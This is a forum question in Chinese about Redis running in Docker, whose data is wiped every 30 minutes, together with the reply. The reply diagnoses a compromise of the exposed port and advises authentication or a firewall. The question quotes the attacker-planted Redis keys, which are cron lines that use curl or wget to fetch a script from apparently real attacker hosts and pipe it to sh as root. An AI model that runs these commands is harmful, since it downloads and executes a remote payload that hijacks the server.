docker中运行的redis中的数据每30分钟被删除一次

  • 772

我在docker中运行Redis，使用以下命令启动：

docker run -d --restart except-stopped -p 6379:6379 redis/redis-stack-server:latest

但是redis里面的所有数据包括索引每30分钟就会被删除一次，不知道为什么会这样。

可能是因为我运行docker的VPS资源非常有限吗？

VPS 规格为 1 核 CPU、1 GB RAM 和交换以及 20 GB 存储空间。操作系统是 Ubuntu 22.04。VPS 提供商是 RackNerd。我在 OVH 上具有相同规格的 VPS 上运行了相同的 docker-redis，没有任何问题。

我在 docker 上运行 Redis 是因为我想使用 Redisearch 功能。

每隔几个小时，名为backup1 backup2 backup3 backup4的键就会出现在 redis 中。以下是每个键的值：

backup1 : */2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh
backup2: */3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh
backup3: */4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
backup4: */5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh

这是docker日志：

Being disabled, it can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.

    恭喜你，你把 redis 暴露在互联网上，有人已经对它进行攻击了。

    它不再是您的数据库服务器；有人正在将其用于自己的目的。您必须通过配置强身份验证或防火墙来保护它，使其无法通过 Internet 访问。
